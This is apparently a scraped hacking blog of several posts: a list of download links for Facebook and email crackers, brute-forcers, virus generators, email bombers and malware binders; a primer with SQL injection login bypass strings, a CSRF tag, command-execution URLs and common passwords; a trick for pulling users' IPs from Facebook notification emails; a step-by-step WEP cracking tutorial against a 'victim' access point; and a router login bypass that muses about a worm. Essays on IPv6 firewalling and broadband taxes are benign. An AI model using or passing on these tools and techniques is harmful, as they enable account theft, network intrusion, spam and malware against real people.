Tools For BLACK, WHITE, GRAY HATS (Updated)

Facebooz
Many people were asking on how to hack facebook account. This tool is design to hack any facebook account you want with 2 simple steps. Specify the username and the pass list and let it work.
It will hack that account and give you the pass.
And for idiots who say that it doesn't work. Well it works but it need times between each attemd to login otherwise it will become a facebooz freezer
http://uploading.com/files/8b949bb8/facebooz.jar/

                             

Brutus
This tool will hack for you any login page by trying all password possibilities. The reason i added here is because many people were finding troubles with there brutus and couldn't do any hack so this one should solve all there nightmares.ha ha ha
http://uploading.com/files/ba745666/Brutus.rar/   

(For readymade logins u can reach www.bugmenot.com)


PassList Generator

Many days ago someone post here in the forum a pass list that is 2GB size. I know that some people cannot download such a file including me so i did some search and found this tool. This software should create the pass list that you need to your brute force. Very small size but very big efficiency.
http://uploading.com/files/f8f9769b/PLG.zip/




In Shadow Batch Virus Gen - 4.1.2

This tool is a virus creater. It will create very proffesional virus. Never test any virus on your PC. Very effective for bad hackers.
password with no quotes: "In shadow"
http://uploading.com/files/FZRK98VO/In%2...2.zip.html


Atomics Virus Creator V.65
This tool is a virus creater. It will create very proffesional virus. Never test any virus on your PC. Very effective for bad hackers
http://uploading.com/files/6CZZN22N/Atom...5.zip.html


Now I will post 3 tools that should be downloaded toghether for better results.
Exploitscanner



This tool will search for vulnarable websites. You only have to write the dock and it will search for potential website to hack. Always use inurl:"article.php?id=1" as a dork.
http://uploading.com/files/19217P2R/expl...r.zip.html


SQL I Helper V.2.7
After you find your potential website , use this tool to auto hack the website using SQL injection. This tool will do all the hard job by itself. Just select buttons to tell here what to do.
You might need to find the pass using the hash method




Admin finder

After you findthe passwords , use this tool to find the admin page login. Some people are heaving problems finding that page. This should solve this problem but remember that can't find all login pages. It use the most common extensions. You have the ability to add more extensions to the list to increase your search range
http://uploading.com/files/KCDVDDST/admi...r.rar.html


cain and abel
Crack PC passwords , hack network connections , sniff , brute , ....................... and all your dirty job.
I don't think i need to explain what does this tool do. Everyone know about and how neccesary it for hacking job.
http://uploading.com/files/m55616a9/cain%2526abel.rar/


w32 disassembler degguer
This tool will help you to disassemble any program you want. Very effective for programmers
http://uploading.com/files/CX9JY7UR/w32%...r.rar.html


72389 Email Bomber
This tool will help you to spam any email you want. This one is special because you have the ability to spam from different email at the same time. All credit go to Nathan72389
http://uploading.com/files/ZC2HM6E1/7238...r.rar.html


Simple Binder
Use this tool to bind any 2 files in a single file. You are not restricted to jpg or mp3 files but you can bind any type of file. It is very effective to hide virus and worms and all malwares type. All credits go Nathan72389
http://uploading.com/files/SEQDHH33/Simp...9.rar.html


Hotmail Hacker And Messenger Fun
This tool will help you to hack any Hotmail messenger you want. It simply work by making the person think he can hack email using it while in the reality he is the one to be hacked. All credit go to Nathan72389
http://uploading.com/files/9c8ae7f5/Hotm...2BFun.rar/


Gmail Hacker
This tool will help you to hack any Gmail you want. It simply work by making the person think he can hack email using it while in the reality he is the one to be hacked. All credit go to Nathan72389
http://uploading.com/files/d7f79mm9/Gmail%2Bhacker.rar/


Chat Spammer
Use this tool to spam any chat room. Write what phrase you want it to be spammed. I am still try to figure out the best way to use it. Very funny and worst to try it
http://uploading.com/files/D7YJGAI9/Chat...r.rar.html


1st Mass Mailer 4.2
This tool will help you to mass spam emails. Little bit compliacted but very very effective.
Serial: "18935379480889"
Thanks to 88power88 for the serial
http://uploading.com/files/17m9mc69/1stM...ler42.rar/


My lock box
Many people were asking for tools to hide files and folders. This tool will hide the files that you don't want anyone to see it by hiding it inside a box that the software create and to make it impossible to anyone to reach it. Very easy to use
http://uploading.com/files/O0PDO80I/mylo...p.exe.html


I lock
Same as the one before but this one is more proffessional. This tool will hide the files that you don't want anyone to see it by hiding it inside a box that the software create and to make it impossible to anyone to reach it.
http://uploading.com/files/9m8d4e29/ilockstp.rar/


Lock an exe
This tool will lock any ".exe" file by making it not working anymore. If you click on the new exe , it won't execute. Ability to share it between PCs safetly at a condition that these 2 pc have this tools to lock it and unlock it
http://uploading.com/files/XIG3N1MN/lockanexe.zip.html


Icon Changer v3.8
Some people were asking for tools that can change the icon for there files. Use this tool to change the icons of any thing you want on your PC. Customize anything that have a icon interference.
http://uploading.com/files/VJHMKK2V/Icon...8.zip.html



FYI...Using GMAIL HACKER tools is at ur Own rick..i cant claim any responsibility

Read More

Hacking The Websites, Methods (n00b Special)

Remote File Inclusion (RFI):
A method of uploading a shell by an off-site .

Local File Inclusion (LFI) AKA Directory traversal attack:
A method of pulling usernames and passwords off a website vulnerable to the exploit of
insufficient security validation / sanitization of user-supplied input file names.

Blind Structured Query Language Injection (blind SQLI):
Method of once again insufficiant security validation and sanitization of user-input.

Basic SQLi
This is the easiest method of SQLi. This method allows you to enter codes such as ' or '1'='1
into the username and password fields to gain access. E.g. you find the admin login on a site
and you may enter the correct username admin and the password as: ' or '1'='1.

Cross Site Scripting (XSS):
A method of injection html/javascript into a website. The can be both persistent attacks, and
non-persistant.


Cross site request forgery (CSRF):
An attack that is commonly sent by e-mail or other means and often tricks a user. given to a target may include HTML, something like this:
Code:
<img src="http://bank.example/withdraw?account=bob&amount=100&for=mallory" height="1" width="1" border="0">
And this will be activated through the victims browser and the site will think it was a valid and intentional move.

Public Exploits:
Public exploits are just scripts that people have released for others to use. Such as
this exploit which exploits a webserver
running this program on one of its open ports. I suggest you have a quick look through the
script to see how/why it works. The way of finding which software you target is using is by using Namp or the GUI Zenmap

DNS hijacking:
This is the method or redirecting the domain name to a rouge domain name. This method is used
particually in phishing attacks.

Bruteforcing:
This method is the practise of running a program to keep guessing the password and username of
a site. This method is fastly going out of fashion as the max login attempts are added and even
without this obstical, it can take weeks to gain the correct password. Programs commonly used
for this are hydra and Brutus.

Password Guessing:
Yes, just as it sounds. This is the method of just guessing common passwords such as:

Code:
admin
admin123
321admin123
password
toor
thesitesname

Packet Sniffing:
If you find a site with FTP access, there may be a chance you can use a tool such as
cain and abel to sniff their password and username when
the login. Not a very easy task as the trafic is sometimes encrypted.

RCE (Remote Command Execution):
This is the method of making the server read command that you have entered for it to.
E.g.
Code:
index.php?cmd=whoami
index.php?cmd=net user


Social Enginering:
A common method used to gain information. This can be a long process, but an effective one.
They can patch software, but it will always be people's ignorance that will let you/your target
down.

Cookie poisoning:
This is a method of editing cookies you have already gained, to gain extra privileges. Not a very common method now as of cookies being encrypted, and having to be signed. This exploit can work on some surprising sites, take a look, you may be surprised.

Parameter tampering:  (And i think is method is Often called As SESSION HIJACKING, correct me if i am wrong)

An attack usual done by moderfying values in the url. E.g. changing a value to decrease the amount you have to pay on something.
Code:
<input type=”hidden” id=”1008” name=”cost” value=”70.00”>

In this example, an attacker can modify the “value” information of a specific item, thus lowering its cost.
source: http://www.owasp.org/index.php/Web_Parameter_Tampering

Tamper Data:
A very nifty Firefox addon which is used to modify http/https headers and post parameters.

Admin Auth bypass:
This exploit can be as simple as adding:
Code:
?action=edit
To a URL. This exploit when a server/application allows you to edit by having the valid URL, instead of by cookies. Another method of admin auth bypass is editting the html to proceed even if the password is wrong.

Read More

INFO GATHERING - Forensic Tool

Gotta Great Stuff for u all Indians, Regarding Fornsic, Recently INDIATRACE Launched a website ,To trace, Mobile numbers,Zip Codes, Vehicle Number e.t.c…This website is Connected to all the Phone Operators Databases(So Don Ask me Suddely, Operator DB are Standalone, I Know), Here Am talking about the Centralised  DataBase, that is in New Delhi(I don kno how many of u know about it, Well u may be known, If u read a article in “INDIA Today “ about 2 months ago , Regarding Phone Tapping of POLITICIANS,  )  The artilcle Fully Showcased , What is Phone tapping , and How they are Doing it..Wanna Kno more about Private me…and INDIA TRACE is once of Top Notch Websites Used By CBI For Forensics Stuffs, Let me tell you the service Offered Bu Indiatrace..

1.       TRACE MOBILE NUMBER(Location,State,place,Geo Info),

2.       Trace Vehicle Number

3.       Trace Fixed Line Number

4.       Trace IP Address

5.       Trace Pin Code

6.       Trace Bulk SMS Sender

7.       Trace STD Code

8.       Trace People

9.       Reverse DNS

10.   NS Lookup

11.   Tracebox

12.   Domain WHOIS Trace

13.   Find DNS Registry Status

14.   Find Yahoo Online search

15.   Find Website Ranking

Woes..well  I too Raised my eyebrow,After Have Been Looked up By this Services Offered..ITS A STANDALONE WEBSITE..

Read More

Facebook Hacking Finding the Target, Mar, 2011(UPDATED)

Hell Ya..i just wasted my time By watching 2011, "BATTLE OF LOS ANGELS" This Movie is a Bunch of Holy craps, But People or Family Who sent a Guy to ARMY May lit a drop of tears..i agree with tat..Lets back to Business here lemme tell u folks, This is Truly for Educational Purposes, I Jus got this From a friend in a Forum, I Told him tat am not gonna release..But As i told before just sharing for edu Purposes and Its Exclusively Only On DEFENDHACKERS, Peoples Often wanna kno  IPs from Facebook messages. I myself have participated in forums where I said it wasn't something you could do because Facebook keeps the IPs of the users in their system. That was until I noticed something ... peculiar ... about the notification emails that are sent to my email address. 

Depending on your email preferences, you will be familiar with the subject line: "<Facebook user> sent you a message on Facebook...", or "<Facebook user> commented on a photo of you on Facebook..." -- the headers of these messages should just tell you IP addresses of mail servers in Facebook's network, right? Yes, but it will also tell you the IP of the user. It wasn't immediately obvious to me because they are Base64 encoded. But sure enough, Facebook is nice enough to note the IP address of the user they're notifying you about. Get a message? Get a comment? Get a link? Whatever user is in that notification email, Facebook forwarded their IP to you.

In the headers, look for the line that says "X-Facebook". Here's an example:

X-Facebook: from ADRIANLAMO(He is ma Inspiration all tha time,and he get himelf wit Drugs n Stuffs) ([OTcuODMuMjEuMjM=]) by www.facebook.com with HTTP (ADRIAN LAMO);

  
It never really occurred to me when I would read over these headers. But: Grab a Google search engine and type in "Base64 convert" or something similar, and decode "OTcuODMuMjEuMjM=" into ASCII: 97.83.21.23

Why does Facebook do this? Probably to give them something to go on in cases of abuse. Maybe it's for their own testing purposes, as Facebook staff members undoubtedly have accounts themselves, and they can verify IP addresses when they get test messages. Who knows?

Sent someone a Facebook comment and they miraculously know your IP, and you don't know how? There ya go.  This is How...

And i See Some peoples really want to help regarding my English, LOL am makin Hell lotta mistakes i barely kno, But i Asked Some of ma US Friends. JOHNSON(Name Changed) ..He knows tat am makin Hell lotta mistakes, BUT STILL he Said "DUDE UR ENGLISH IS TOP NOTCH"  ..Ha ha ha ha..So Drop Comments n feedbacks always...

LAT3R

H4ckfreak

Read More

Obama Wants New Taxes for National Broadband Network

Wow,Long time Noo See.. okay, in the U.S. ,a huge national broadband plan the FCC proposed creates a national policy for the taxation of digital goods and services imposing a fee to create a national public safety wireless broadband network. Being a network guy, Especially Grey Hat expert(Well I have atleast talk about myself in this corner little..Lol), I am all for expanding the wireless networks!
However, the Obama administration has a plan to do it with more taxes and higher fees. Nice.. new taxes and fees, couldn’t be better timing.
What I don’t understand is why this new ridiculous plan proposes a new tax to create this safety wireless broadband network - I thought this is why we pay taxes in the first place? This reminds me of my homeowner  adding Xtra Room Charges  and surcharges for Pain tha Building,and Maintanence Blah blah, which is the reason I was told why we pay HOA fees in the first place.

The FCC defends itself by saying this “new” national tax would eliminate the headaches that come with varying state and local taxes on digital goods and services. And the public safety network would help avoid the communication failures among first responders to the Sept.  terrorist attacks and Hurricanes Katrina and Rita. Always in the name of safety…if I could only sell HACKING books in the name of “keeping the U.S. safe”!
Okay, I am trying as hard as I can to make this blog politics free, but come on! America is in a deep recession and now the Obama policies want to RAISE taxes on taxes that are already being raised to pay for healthcare, bank bailouts, the housing crisies, ad nasum….insert your reason here….But wait, is this just a U.S issue? Far from it! This started in the U.K in 2008 and we’re just seeing it here with net neutrality issues, and add the IPv4 address allocation issues – I am getting exahusted from thinking about it


h4ckfreak

Read More

Guide to cracking wep keys for BEGINNERS!

Fellas How u all doing..!! Am Rolling out with a Hard time..So i cant posts threads Everyday as Before, But i am doing tha Best as wat i can..Now we gonnna see how to crack WEP (I believe u m8 be read my previious threads, regarding Wireless terms, i explored in last month thread, so if not take a time read those and come back here).... I Am Actuallly writing this Stuff, Coz Ma Buddy ""Attitude killler"" approached me fr a help(i swear he never asked me before) So this will give a headstart fr n00bs, and my buddy who is tryina tamper some public shits, Wireless have been Protected By WEP as we all kno, But WEP Surpassed By WPA , Then WPA2..Still WEP Is considered as Protection for Wireless Technologies....So Lets Jump in..

What you will need

* 1 copy of BackTrack 3 *newest release* http://www.remote-exploit.org/backtrack.html (GOOGLE IT)
* 1 wireless router
* Laptop with wireless capabilities/wireless card -- There are a few cards that can't do the injection!!!
* A secure place to work (so you don't disturb other AP's)

In order to crack a WEP key you must have a large number of encrypted packets to work with. This is an unavoidable requirement if you wish to be successful. The best way to get a large number of packets is to perform an ARP request re injection attack (otherwise known as attack -3). In order to do this attack and get results there must be a client already authenticated with the AP, or connecting to the AP.

***********************************************************************
Here are some things you need to know before you get confused
When you see this (device) or (bssid) you DON'T put the ( )!!!

(device) = Your wireless card *can be seen by typing in iwconfig EG: eth0, eth1, ath0, ath1
(bssid) = This is the victims bssid *when you start airodump-ng if there is a AP in range it will show up on the left side will look similar to 00:11:22:33:44:55
************************************************************************

Now before we start we need to make a txt file in the home folder. On the desktop you will see 2 icons home and system. Duble click the home icon, rigt click the blank white area and select create new Txt File name it exidous or what ever you want! click ok, now close the window.

    

Ok let's start!
Commands | Meaning
====================

*open up 3 shell konsoles by clicking the little black box next to the start button.

* The first thing were going to do is stop the device aka ethernet card
airmon-ng stop ath0

* Now were going to put the wireless card down, so we can fake a mac adress (to see available wireless cards type, iwconfig
ifconfig (device) down

* Ok now just to make things simpler, so we don't have to hunt down what our Mac address is
macchanger --mac 00:11:22:33:44:55 (device)

* Now were going to start the wireless card *make it listen for AP's
airmon-ng start (device)

* Lets start seeing what AP's are there
airodump-ng (device)

* After you see all the AP's execute the following command to stop it and copy the bssid
CTRL+C Copy bssid of victom

* Now on to the victim's AP (were listening in for authentication packets
airodump-ng -c 6 -w Exidous --bssid (Bssid) (device)

* Lets get on with making more Data, and start the injection process
aireplay-ng -l 0 -a (bssid) -h 00:11:22:33:44:55 (device)

* Now were going to inject the router ***this sometimes takes a while to actually inject!
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (device)

* On to cracking the key, ***AFTER GETTING AT LEAST 5,000 Data/IV's for 64 bit encryption / AFTER GETTING AT LEAST 10,000 Data/IV's for 128 bit encryption
aircrack-ng -n 64 --bssid (bssid) exidous-01.cap

* Once you crack the wep key you wright it down, and reboot to windows. Now put it in the username and the password with out the :
EG: Wep Key = 33:C7:C6:09:30
When Entered into username and password it will look like this. 33C7C60930

I hope this tut. Helped!!! Just leave a comment ...i ll be pleased

Read More

My Thoughts About IPv6 Firewalling

It is the on-coming storm. We’ve all heard about it; it’s big, scary, and new. Public IP addresses for all and tearing down those NAT-PT barriers excites and worries many. IPv6 is coming but it’s not as frightening as it’s made out to be; most concepts from IPv4 can be applied directly to it’s younger brother. One of the ideals that IPv6 was designed around is the restoration of end-to-end connectivity of all nodes on the Internet; this introduces a certain uncertainty to how we design our firewalls under v6. We have options now, from the completely open networks geeks would love, to NATesque heavily stateful firewalls, and everything in between.
With our current version of the Internet Protocol we use private addresses heavily on internal networks protected automatically by the one way nature of NAT-PT; it has given many of us the expectation that connections cannot venture into our networks without our explicit permission. These networks are often described as castles or walled gardens, analogies referring to the strong perimeters and minmally secured interiors. We feel comfortable and secure in our walled gardens and IPv6 seems like it may rip some of that security away but this need not be the case. Regardless, the IPv4 internet is running out of addresses and IPv6 is coming; as the boyscout motto goes, ‘Be prepared’.
The paradigm of NAT is no longer the default in IPv6, the default has become every node exposed to the entirety of the internet. One extreme of the new freedom in IPv6 would be to drop all perimeter firewalling and firewall at each node. This strategy is likely a bad one but not entirely without merit. The slightly less extreme strategy of doing minimal filtering at the perimeter, purely packets that simply should not be heading into or out of any network. Things such as neighbour discovery, multicast listener discovery, Windows netbios protocols, and others. With the detailed firewalling moved to the node much of the firewalling work is widely distributed (assuming an attack didn’t focus on a single host, in that case, throttling could be done at the perimeter). One of the problems with this approach is the host firewall which would be easily torn down if the machine was compromised, inbound and outbound would be at the mercy of whoever is in control of that node. In my opinion this strategy should be at least experimented with and is probably suited to networks populated by geeks and datacenters.
On the other extreme is the heavily fortified perimeter, a well known paradigm to anyone who’s been involved in network security to any degree in the past decade. We block and/or control everything at the perimeter. SIP gateways, web proxies, stateful NAT firewalls. All this can still be accomplished under the new protocol short of hiding internal network addresses, however this would break many innovations that depend on peer to peer access. On a well configured enterprise network internet scope multicast streams may make it through but on smaller less throughly configured networks under this paradigm it may not, at present I don’t know enough about multicast routing and firewalling to say anything even remotely conclusive. The slightly less extreme version of this setup would be the good old stateful outbound only behaviour that exists in so many consumer NAT gateways.
There exist in between these two extreme ends of the firewalling world a range of happy mediums. One strategy would be to allow a certain range of ports though the perimeter for peer to peer applications such as the shared white-board application in Windows Vista. IPSec also requires end to end connectivity in a certain way and provides a secure and authenticated way to allow connections into the perimeter as IPsec can authenticate traffic and provide privacy as well. Microsoft has integrated IPSec into a remote access technology that works in a similar way to a VPN and yet subtly different, built entirely on IPv6 and IPSec technologies Microsoft’s Direct Access is an excellent example of a happy medium in the permissiveness of a perimeter.
At the end of the day it all depends on what you want from your network. A business will probably a strong perimeter, security oriented geeks could probably benefit from a node oriented firewalling strategy to make their projects and servers more flexible, and everyone will want IPsec authenticated/encrypted traffic.
Update: The Internet Architecture Board is considering IPv6 NAT in RFC 5902 in July 2010 and is discussed in a blogpost by Jeremy Stretch
Files: I’m releasing a script I wrote to generate ip6tables rules as part of this blogpost. It’s only v0.1 but I hope it will prove usable and useful to others. Suggestions and patches welcome.


http://www.mediafire.com/?4ulx64xxv4wt3s6

Report me If Link has Expired(Uploading now 2/23/2011   1.44am)

Read More

TEH mYTH oPh P45$w0rDs...B3+w3en Me aND My r0UT3R

Basically, I forgot my router password, and couldn't find an article on how to reset it without resetting the router, so, I got lucky, figured it out and thought I should share..

 I haven't seen an article on this anywhere on the net, and I needed to do it and I figured it out so then thought I may as well let people know what I discovered... Basically what I'll be telling you is how to reset the admin password on a router that's already been configured without resetting the whole thing.

Contents:
-------------------
1: Reasons
2: Step-by-step-story
3: Ups and Downs
-------------------


1: Reasons
----------------
I'm writing this (like I said in the pre-intro) because I haven't seen anything like it before, and thought I should let people know just in case they run into the same problem.

        

Little background is that my dad set up the router, and left the password as default, so I changed it... Dilemma = I forgot what I changed it to.

2: Step-by-step-story
-------------------------

So this is what I did:

After browsing many, many websites in the hope to find an article or tutorial on how to reset the admin password on routers without resetting the router itself.

With no luck I started thinking there must be another way.
I tried flooding it with information in the hope something would f**k up and let me in, I tried resetting it, but luckily couldn't quite get to reset properly, I tried connecting to it another way, but couldn't.. Nothing was working.

So, grudgingly I went back to trawling the web for answers... Then something rather interesting took hold of me.. I'm not sure about most routers but with mine when you go to 192.168.1.1 it has a login page, username and password and the username is only readable..                                                           

                                                                                                                                                                                                                              but the thing I briefly read didn't make sense if this were true.. It said something along the lines of "Blah.. defaul login.. blah.. admin.. blah ... username: user..blah" The user part interested me, and I knew my dad didn't know about it, since the username field was only readable and when he was searching on the config stuff nothing came up.. And then realised "Hang on a moment, the user field is only readable :(" Then it happened, a stroke of ingenuity, I opened have Firefox and had a little play with the addon WebDeveloper. Under the section for Forms there's a little option "Make all fields writeable" I clicked it... it worked, I could get rid of that 'admin' username, so I did and replaced it with "user", as you've probably worked out, if default admin username has admin as a password, I tried the default user username with user as the password.... I was in :D

And for me there was no difference in privs even though I was "user" so I went to the reset admin password page.... And then I saw something.. not so nice... "Current Password" field :( I tried 'admin' nothing. I tried 'user' nothing.. I tried giving it too many characters... Nothing. I thought I was stumped.. Angry at myself that I could even hack MY OWN ROUTER! I was thinking along the lines of" It's like it's google, or facebook or....." Then I thought "No.. It's not like those.. They have a server with PHP authentication stuff and MySQL databases.. This can't be connected to anything.. "
I had a little cheeky peek at the source code and saw something rather like treasure to a poor family.. An embed link 'password.htm' and I navigated to it, and it was exactly the same as the normal change pssword page, with the 'current password' field an everything.. I had another little cheeky peek at the source....

LOW AND BEHOLD!! IT WAS JAVAscblockedript!!!

It was a basic authentication technique used in maybe Javascblockedript 2 or 3 on hacking challenge sites.. So of course I could see my old password, that.. I'm not going to tell, just in case, and I saw the user login and there's another one called 'supporter' with the password... You guessed it.. 'supporter' and so I changed my password to something I can remember using my newly found old password, and it worked, everything was fine and dandy, so that's how I did it folks! A good 6 months or so of not being able to logon to my router for whatever reasons, rid of in about 20 minutes..

3: Ups and Downs
-----------------------
Ups and downs, life has both.
After I'd completed this, I was rather chuffed, but it got me thinking "There must be away to exploit this" then I remembered a worm that had been released (I think from Australia) that tried to brute force routers' logins and infect it, and I think it recorded data, not sure though, now, I was completely new to these new default logins, and reasoned that it would be possible to create a worm that logs in by using the other lesser-known default login, it could then navigate to the appropriate page, download the source and use RegEx or something to find the password for the admin and then infect the router and change the admin password.. Because as far as I can remember the worm I talked about tried to brute force the admin login.. So yeah, wouldn't need to this way, that might be a down-side...

Just as a quick wrap-up, I hope you enjoyed this, and I hope you learnt something new. Um.. Rate it, well, badly, comment it constructively or not, basically, do what you want with it.... Except plagiarise..and I hope it can be helpful maybe someday in the future.. Oh and by the way, my router is D-Link, it may vary for others Umm.. That's about it really.
Lat3rs....

Click Here to See :    Default Passwords DB


P.S Sorry if it's a bit rough, I wrote this off straight..

Read More